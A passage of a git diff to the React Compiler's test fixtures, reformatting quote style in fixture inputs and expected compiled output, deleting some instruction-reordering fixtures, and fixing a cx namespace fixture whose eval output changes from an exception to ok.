+    {value: 42},
+    {value: 3.14},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import { useMemo } from "react";
+import { makeObject_Primitives, ValidateMemoization } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(7);
+  let t0;
+  if ($[0] !== props.value) {
+    t0 = makeObject(props.value);
+    $[0] = props.value;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const result = t0.value + 1;
+  let t1;
+  if ($[2] !== props.value) {
+    t1 = [props.value];
+    $[2] = props.value;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  let t2;
+  if ($[4] !== result || $[5] !== t1) {
+    t2 = <ValidateMemoization inputs={t1} output={result} />;
+    $[4] = result;
+    $[5] = t1;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+
+function makeObject(value) {
+  console.log(value);
+  return { value };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 42 }],
+  sequentialRenders: [
+    { value: 42 },
+    { value: 42 },
+    { value: 3.14 },
+    { value: 3.14 },
+    { value: 42 },
+    { value: 3.14 },
+    { value: 42 },
+    { value: 3.14 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[42],"output":43}</div>
+<div>{"inputs":[42],"output":43}</div>
+<div>{"inputs":[3.14],"output":4.140000000000001}</div>
+<div>{"inputs":[3.14],"output":4.140000000000001}</div>
+<div>{"inputs":[42],"output":43}</div>
+<div>{"inputs":[3.14],"output":4.140000000000001}</div>
+<div>{"inputs":[42],"output":43}</div>
+<div>{"inputs":[3.14],"output":4.140000000000001}</div>
+logs: [42,3.14,42,3.14,42,3.14]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.js
new file mode 100644
index 000000000000..5c7cefb609c4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/memoize-primitive-function-calls.js
@@ -0,0 +1,30 @@
+// @compilationMode:"infer" @enablePreserveExistingMemoizationGuarantees @validatePreserveExistingMemoizationGuarantees
+import {useMemo} from 'react';
+import {makeObject_Primitives, ValidateMemoization} from 'shared-runtime';
+
+function Component(props) {
+  const result = useMemo(() => {
+    return makeObject(props.value).value + 1;
+  }, [props.value]);
+  return <ValidateMemoization inputs={[props.value]} output={result} />;
+}
+
+function makeObject(value) {
+  console.log(value);
+  return {value};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 42}],
+  sequentialRenders: [
+    {value: 42},
+    {value: 42},
+    {value: 3.14},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+    {value: 42},
+    {value: 3.14},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.expect.md
index 60fdb280819b..2eb7308b101a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.expect.md
@@ -2,21 +2,21 @@
 ## Input
 
 ```javascript
-const { getNumber } = require("shared-runtime");
+const {getNumber} = require('shared-runtime');
 
 function Component(props) {
   let x;
   // Two scopes: one for `getNumber()`, one for the object literal.
   // Neither has dependencies so they should merge
   if (props.cond) {
-    x = { session_id: getNumber() };
+    x = {session_id: getNumber()};
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
@@ -30,6 +30,7 @@ const { getNumber } = require("shared-runtime");
 function Component(props) {
   const $ = _c(1);
   let x;
+
   if (props.cond) {
     let t0;
     if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -40,6 +41,7 @@ function Component(props) {
     }
     x = t0;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.js
index 0589d71c5a09..b5f96b781adb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-nested-scopes.js
@@ -1,16 +1,16 @@
-const { getNumber } = require("shared-runtime");
+const {getNumber} = require('shared-runtime');
 
 function Component(props) {
   let x;
   // Two scopes: one for `getNumber()`, one for the object literal.
   // Neither has dependencies so they should merge
   if (props.cond) {
-    x = { session_id: getNumber() };
+    x = {session_id: getNumber()};
   }
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.expect.md
index 28e0b1ef20a4..87175b3ec638 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component() {
   const [count, setCount] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.js
index 71cea01abc57..0eb93a2a460b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-deps-subset-of-decls.js
@@ -1,4 +1,4 @@
-import { useState } from "react";
+import {useState} from 'react';
 
 function Component() {
   const [count, setCount] = useState(0);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.expect.md
index 01c425aae3d6..a1f70cea197d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-const { getNumber } = require("shared-runtime");
+const {getNumber} = require('shared-runtime');
 
 function Component(props) {
   // Two scopes: one for `getNumber()`, one for the object literal.
   // Neither has dependencies so they should merge
-  return { session_id: getNumber() };
+  return {session_id: getNumber()};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.js
index f8f9cf57cd01..9d63fc8165a9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-no-deps.js
@@ -1,9 +1,9 @@
-const { getNumber } = require("shared-runtime");
+const {getNumber} = require('shared-runtime');
 
 function Component(props) {
   // Two scopes: one for `getNumber()`, one for the object literal.
   // Neither has dependencies so they should merge
-  return { session_id: getNumber() };
+  return {session_id: getNumber()};
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.expect.md
index 392dcf4c8458..d31d366b1e0d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
+import {useState} from 'react';
+import {Stringify} from 'shared-runtime';
 
 // This is a translation of the original merge-consecutive-scopes which uses plain objects
 // to describe the UI instead of JSX. The JSXText elements in that fixture happen to
@@ -12,14 +12,14 @@ import { Stringify } from "shared-runtime";
 function Component(props) {
   let [state, setState] = useState(0);
   return [
-    { component: Stringify, props: { text: "Counter" } },
-    { component: "span", props: { children: [state] } },
+    {component: Stringify, props: {text: 'Counter'}},
+    {component: 'span', props: {children: [state]}},
     {
-      component: "button",
+      component: 'button',
       props: {
-        "data-testid": "button",
+        'data-testid': 'button',
         onClick: () => setState(state + 1),
-        children: ["increment"],
+        children: ['increment'],
       },
     },
   ];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.js
index 44fd7d5036b9..c229d6b480a1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-objects.js
@@ -1,5 +1,5 @@
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
+import {useState} from 'react';
+import {Stringify} from 'shared-runtime';
 
 // This is a translation of the original merge-consecutive-scopes which uses plain objects
 // to describe the UI instead of JSX. The JSXText elements in that fixture happen to
@@ -8,14 +8,14 @@ import { Stringify } from "shared-runtime";
 function Component(props) {
   let [state, setState] = useState(0);
   return [
-    { component: Stringify, props: { text: "Counter" } },
-    { component: "span", props: { children: [state] } },
+    {component: Stringify, props: {text: 'Counter'}},
+    {component: 'span', props: {children: [state]}},
     {
-      component: "button",
+      component: 'button',
       props: {
-        "data-testid": "button",
+        'data-testid': 'button',
         onClick: () => setState(state + 1),
-        children: ["increment"],
+        children: ['increment'],
       },
     },
   ];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-reordering.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-reordering.expect.md
deleted file mode 100644
index dc49af440161..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-reordering.expect.md
+++ /dev/null
@@ -1,100 +0,0 @@
-
-## Input
-
-```javascript
-// @enableInstructionReordering
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
-
-function Component() {
-  let [state, setState] = useState(0);
-  return (
-    <div>
-      <Stringify text="Counter" />
-      <span>{state}</span>
-      <button data-testid="button" onClick={() => setState(state + 1)}>
-        increment
-      </button>
-    </div>
-  );
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableInstructionReordering
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
-
-function Component() {
-  const $ = _c(10);
-  const [state, setState] = useState(0);
-  let t0;
-  if ($[0] !== state) {
-    t0 = () => setState(state + 1);
-    $[0] = state;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  let t1;
-  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
-    t1 = <Stringify text="Counter" />;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  let t2;
-  if ($[3] !== state) {
-    t2 = <span>{state}</span>;
-    $[3] = state;
-    $[4] = t2;
-  } else {
-    t2 = $[4];
-  }
-  let t3;
-  if ($[5] !== t0) {
-    t3 = (
-      <button data-testid="button" onClick={t0}>
-        increment
-      </button>
-    );
-    $[5] = t0;
-    $[6] = t3;
-  } else {
-    t3 = $[6];
-  }
-  let t4;
-  if ($[7] !== t2 || $[8] !== t3) {
-    t4 = (
-      <div>
-        {t1}
-        {t2}
-        {t3}
-      </div>
-    );
-    $[7] = t2;
-    $[8] = t3;
-    $[9] = t4;
-  } else {
-    t4 = $[9];
-  }
-  return t4;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
-
-```
-      
-### Eval output
-(kind: ok) <div><div>{"text":"Counter"}</div><span>0</span><button data-testid="button">increment</button></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-reordering.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-reordering.js
deleted file mode 100644
index ad566a062c77..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes-reordering.js
+++ /dev/null
@@ -1,21 +0,0 @@
-// @enableInstructionReordering
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
-
-function Component() {
-  let [state, setState] = useState(0);
-  return (
-    <div>
-      <Stringify text="Counter" />
-      <span>{state}</span>
-      <button data-testid="button" onClick={() => setState(state + 1)}>
-        increment
-      </button>
-    </div>
-  );
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.expect.md
index c893ac645734..2e246c0e1c04 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
+import {useState} from 'react';
+import {Stringify} from 'shared-runtime';
 
 function Component() {
   let [state, setState] = useState(0);
@@ -20,7 +20,7 @@ function Component() {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.js
index 9817c7f68b49..b0a72c2a389b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-consecutive-scopes.js
@@ -1,5 +1,5 @@
-import { useState } from "react";
-import { Stringify } from "shared-runtime";
+import {useState} from 'react';
+import {Stringify} from 'shared-runtime';
 
 function Component() {
   let [state, setState] = useState(0);
@@ -16,5 +16,5 @@ function Component() {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.expect.md
index 6a7c8a5a28ae..16ac0b2966e5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { setProperty } from "shared-runtime";
+import {setProperty} from 'shared-runtime';
 
 function Component(props) {
   // start of scope for y, depend on props.a
@@ -22,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 42 }],
+  params: [{a: 42}],
 };
 
 ```
@@ -49,6 +49,7 @@ function Component(props) {
   } else {
     y = $[1];
   }
+
   return y;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.js
index 08ca06b29887..39db609334d2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.js
@@ -1,4 +1,4 @@
-import { setProperty } from "shared-runtime";
+import {setProperty} from 'shared-runtime';
 
 function Component(props) {
   // start of scope for y, depend on props.a
@@ -18,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: 42 }],
+  params: [{a: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-scopes-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-scopes-callback.expect.md
deleted file mode 100644
index a2e79ad67f09..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-scopes-callback.expect.md
+++ /dev/null
@@ -1,76 +0,0 @@
-
-## Input
-
-```javascript
-// @enableInstructionReordering
-import { useState } from "react";
-
-function Component() {
-  const [state, setState] = useState(0);
-  const onClick = () => {
-    setState((s) => s + 1);
-  };
-  return (
-    <>
-      <span>Count: {state}</span>
-      <button onClick={onClick}>Increment</button>
-    </>
-  );
-}
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableInstructionReordering
-import { useState } from "react";
-
-function Component() {
-  const $ = _c(6);
-  const [state, setState] = useState(0);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = () => {
-      setState((s) => s + 1);
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const onClick = t0;
-  let t1;
-  if ($[1] !== state) {
-    t1 = <span>Count: {state}</span>;
-    $[1] = state;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  let t2;
-  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
-    t2 = <button onClick={onClick}>Increment</button>;
-    $[3] = t2;
-  } else {
-    t2 = $[3];
-  }
-  let t3;
-  if ($[4] !== t1) {
-    t3 = (
-      <>
-        {t1}
-        {t2}
-      </>
-    );
-    $[4] = t1;
-    $[5] = t3;
-  } else {
-    t3 = $[5];
-  }
-  return t3;
-}
-
-```
-      
-### Eval output
-(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-scopes-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-scopes-callback.js
deleted file mode 100644
index 89c3e2ddb6da..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-scopes-callback.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// @enableInstructionReordering
-import { useState } from "react";
-
-function Component() {
-  const [state, setState] = useState(0);
-  const onClick = () => {
-    setState((s) => s + 1);
-  };
-  return (
-    <>
-      <span>Count: {state}</span>
-      <button onClick={onClick}>Increment</button>
-    </>
-  );
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merged-scopes-are-valid-effect-deps.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merged-scopes-are-valid-effect-deps.expect.md
deleted file mode 100644
index a699e901500c..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merged-scopes-are-valid-effect-deps.expect.md
+++ /dev/null
@@ -1,73 +0,0 @@
-
-## Input
-
-```javascript
-// @validateMemoizedEffectDependencies
-
-import { useEffect } from "react";
-
-function Component(props) {
-  const y = [[props.value]]; // merged w scope for inner array
-
-  useEffect(() => {
-    console.log(y);
-  }, [y]); // should still be a valid dependency here
-
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-  isComponent: false,
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @validateMemoizedEffectDependencies
-
-import { useEffect } from "react";
-
-function Component(props) {
-  const $ = _c(5);
-  let t0;
-  if ($[0] !== props.value) {
-    t0 = [[props.value]];
-    $[0] = props.value;
-    $[1] = t0;
-  } else {
-    t0 = $[1];
-  }
-  const y = t0;
-  let t1;
-  let t2;
-  if ($[2] !== y) {
-    t1 = () => {
-      console.log(y);
-    };
-    t2 = [y];
-    $[2] = y;
-    $[3] = t1;
-    $[4] = t2;
-  } else {
-    t1 = $[3];
-    t2 = $[4];
-  }
-  useEffect(t1, t2);
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-  isComponent: false,
-};
-
-```
-      
-### Eval output
-(kind: ok) [[42]]
-logs: [[ [ 42 ] ]]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merged-scopes-are-valid-effect-deps.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merged-scopes-are-valid-effect-deps.js
deleted file mode 100644
index ec1e65d64d85..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merged-scopes-are-valid-effect-deps.js
+++ /dev/null
@@ -1,19 +0,0 @@
-// @validateMemoizedEffectDependencies
-
-import { useEffect } from "react";
-
-function Component(props) {
-  const y = [[props.value]]; // merged w scope for inner array
-
-  useEffect(() => {
-    console.log(y);
-  }, [y]); // should still be a valid dependency here
-
-  return y;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{ value: 42 }],
-  isComponent: false,
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.expect.md
index 8a75ac8a1451..08a3ccb87f93 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.expect.md
@@ -2,18 +2,18 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer) @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
-import { identity } from "shared-runtime";
+// @compilationMode:"infer" @enableAssumeHooksFollowRulesOfReact:false @customMacros:"cx"
+import {identity} from 'shared-runtime';
 
-const DARK = "dark";
+const DARK = 'dark';
 
 function Component() {
   const theme = useTheme();
   return (
     <div
       className={cx({
-        "styles/light": true,
-        "styles/dark": theme.getTheme() === DARK,
+        'styles/light': true,
+        'styles/dark': theme.getTheme() === DARK,
       })}
     />
   );
@@ -26,7 +26,7 @@ function cx(obj) {
       classes.push(key);
     }
   }
-  return classes.join(" ");
+  return classes.join(' ');
 }
 
 function useTheme() {
@@ -47,7 +47,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer) @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer" @enableAssumeHooksFollowRulesOfReact:false @customMacros:"cx"
 import { identity } from "shared-runtime";
 
 const DARK = "dark";
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.js
index 88eeb5c38b96..c72f69375443 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.js
@@ -1,15 +1,15 @@
-// @compilationMode(infer) @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
-import { identity } from "shared-runtime";
+// @compilationMode:"infer" @enableAssumeHooksFollowRulesOfReact:false @customMacros:"cx"
+import {identity} from 'shared-runtime';
 
-const DARK = "dark";
+const DARK = 'dark';
 
 function Component() {
   const theme = useTheme();
   return (
     <div
       className={cx({
-        "styles/light": true,
-        "styles/dark": theme.getTheme() === DARK,
+        'styles/light': true,
+        'styles/dark': theme.getTheme() === DARK,
       })}
     />
   );
@@ -22,7 +22,7 @@ function cx(obj) {
       classes.push(key);
     }
   }
-  return classes.join(" ");
+  return classes.join(' ');
 }
 
 function useTheme() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.expect.md
index 9b55426f4e05..c99b05a11338 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.expect.md
@@ -2,32 +2,34 @@
 ## Input
 
 ```javascript
-// @compilationMode(infer) @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
-import { identity } from "shared-runtime";
+// @compilationMode:"infer" @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
+import {identity} from 'shared-runtime';
 
-const DARK = "dark";
+const DARK = 'dark';
 
 function Component() {
   const theme = useTheme();
   return (
     <div
       className={cx.foo({
-        "styles/light": true,
-        "styles/dark": identity([theme.getTheme()]),
+        'styles/light': true,
+        'styles/dark': identity([theme.getTheme()]),
       })}
     />
   );
 }
 
-function cx(obj) {
-  const classes = [];
-  for (const [key, value] of Object.entries(obj)) {
-    if (value) {
-      classes.push(key);
+const cx = {
+  foo(obj) {
+    const classes = [];
+    for (const [key, value] of Object.entries(obj)) {
+      if (value) {
+        classes.push(key);
+      }
     }
-  }
-  return classes.join(" ");
-}
+    return classes.join(' ');
+  },
+};
 
 function useTheme() {
   return {
@@ -47,7 +49,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime"; // @compilationMode(infer) @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
+import { c as _c } from "react/compiler-runtime"; // @compilationMode:"infer" @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
 import { identity } from "shared-runtime";
 
 const DARK = "dark";
@@ -71,15 +73,17 @@ function Component() {
   return t1;
 }
 
-function cx(obj) {
-  const classes = [];
-  for (const [key, value] of Object.entries(obj)) {
-    if (value) {
-      classes.push(key);
+const cx = {
+  foo(obj) {
+    const classes = [];
+    for (const [key, value] of Object.entries(obj)) {
+      if (value) {
+        classes.push(key);
+      }
     }
-  }
-  return classes.join(" ");
-}
+    return classes.join(" ");
+  },
+};
 
 function useTheme() {
   return {
@@ -97,4 +101,4 @@ export const FIXTURE_ENTRYPOINT = {
 ```
       
 ### Eval output
-(kind: exception) cx.foo is not a function
\ No newline at end of file
+(kind: ok) <div class="styles/light styles/dark"></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.js
index b002d99db6e7..4254c5a4428b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.js
@@ -1,29 +1,31 @@
-// @compilationMode(infer) @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
-import { identity } from "shared-runtime";
+// @compilationMode:"infer" @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)
+import {identity} from 'shared-runtime';
 
-const DARK = "dark";
+const DARK = 'dark';
 
 function Component() {
   const theme = useTheme();
   return (
     <div
       className={cx.foo({
-        "styles/light": true,
-        "styles/dark": identity([theme.getTheme()]),
+        'styles/light': true,
+        'styles/dark': identity([theme.getTheme()]),
       })}
     />
   );
 }
 
-function cx(obj) {
-  const classes = [];
